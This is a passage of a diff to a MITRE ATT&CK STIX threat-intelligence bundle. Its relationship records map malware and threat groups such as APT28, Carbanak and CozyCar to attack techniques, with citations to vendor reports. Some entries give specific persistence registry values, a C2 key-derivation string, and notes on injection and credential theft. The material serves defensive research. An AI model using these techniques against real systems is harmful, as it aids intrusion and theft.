"url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.338Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) can download additional payloads onto the victim.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bff3220c-6fea-4925-a9d0-46f06efb7337", + "external_references": [ + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a358f0a9-b5b9-4a84-8c83-dc0a1325d63e", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "FireEye APT28 Hospitality Aug 2017", + "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html" + }, + { + "source_name": "MS17-010 March 2017", + "description": "Microsoft. (2017, March 14). Microsoft Security Bulletin MS17-010 - Critical. Retrieved August 17, 2017.", + "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010" + } + ], + "modified": "2019-07-27T00:09:36.642Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) encrypts data using Base64 before being sent to the command and control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ee9b1ad-7f7b-4ae7-8cf4-8ab97b6a74b8", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) injects into the Internet Explorer process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--95ed1db5-c388-4b1b-9824-9703b248f798", + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "modified": "2019-06-24T19:07:12.675Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload and/or download files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9edfa8b5-2e9f-4022-93b2-fd819156fe95", + "external_references": [ + { + "source_name": "Microsoft BITSAdmin", + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/aa362813.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) uses rundll32.exe in a Registry value added to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3877b02-98e4-4c4a-8034-5af9f1e65c2c", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) downloads an executable and injects it directly into a new process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5950182b-4e27-4d5e-87bb-c8598314622c", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[schtasks](https://attack.mitre.org/software/S0111) is used to schedule tasks on a Windows system to run at a specific date and time.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500", + "external_references": [ + { + "source_name": "TechNet Schtasks", + "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) downloads its backdoor component from a C2 server and loads it directly into memory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4bf364ad-1e9c-4860-93c0-241da4c81068", + "external_references": [ + { + "source_name": "Aquino RARSTONE", + "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) launches a DLL file that gets executed as a service using svchost.exe", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ff2fa07-f8ce-41b3-9cc2-907c838163ec", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.289Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.", + "type": "relationship", + "created": "2017-05-31T21:33:27.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305", + "external_references": [ + { + "source_name": "Securelist Dropping Elephant", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + } + ], + "modified": "2019-07-11T13:53:06.059Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e630f6b-8662-4ffe-b666-709e17aad69f", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can add a certificate to the Windows store.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some variants of [Cherry Picker](https://attack.mitre.org/software/S0107) use AppInit_DLLs to achieve persistence by creating the following Registry key: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\"", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5", + "external_references": [ + { + "source_name": "Trustwave Cherry Picker", + "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", + "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "relationship_type": "uses", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) gathers system information, network addresses, disk type, disk free space, and the operation system version.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55de5c21-4cb1-4235-89b5-df77dfc7fa90", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + }, + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) checks its parent process for indications that it is running in a sandbox setup.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d878a055-0053-45a9-a724-52f59e0486c7", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.332Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:13:20.723Z", + "type": "relationship", + "id": "relationship--812b36a3-ed93-4b45-95c3-39a9ac9c36f5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.020Z", + "source_ref": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) uses systeminfo on a victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8a00aa55-b7b2-4df5-902b-d01bfdf89089", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can load and call DLL functions.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--15455c48-f71c-480d-91b8-e41f12608705", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) uses the command-line interface.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5df81b26-0cbe-4b2e-abce-bb7b98a1064d", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-22T23:25:33.640Z", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use raw TCP or UDP for command and control.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5fe178f-4d28-484a-8580-4a2313448655", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-04-19T15:08:15.962Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of gathering system information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9ee2a9f3-9174-4927-8561-56d5c6723b9e", + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "modified": "2019-05-14T19:15:24.371Z", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A system info module in [CozyCar](https://attack.mitre.org/software/S0046) gathers information on the victim host\u2019s configuration.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--166c430d-0272-4dca-8d30-318cda0a0a63", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.150Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Password stealer and NTLM stealer modules in [CozyCar](https://attack.mitre.org/software/S0046) harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication. [CozyCar](https://attack.mitre.org/software/S0046) has also executed [Mimikatz](https://attack.mitre.org/software/S0002) for further victim penetration.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--932fa199-f4c0-4c39-bb30-a412607ee299", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.179Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects the users of the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--76d7d7fa-94a4-4fa6-9fd2-e9af9ab0f356", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "modified": "2019-06-24T19:15:06.690Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:52.010Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf467be5-c162-4763-801b-32cb57a514ef", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can delete files.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b7bf5d9-23a0-4190-80c0-b27b906bafcc", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "modified": "2019-04-29T18:01:20.635Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that communicates over commonly used ports. The C2 protocol is encapsulated in common application layer protocols.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8924eb12-0841-48ca-9d36-69de932b1f21", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.505Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has deleted Registry keys during post compromise cleanup activities.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f8ff17c3-2921-40c2-b4a9-19ee7678397a", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.791Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": 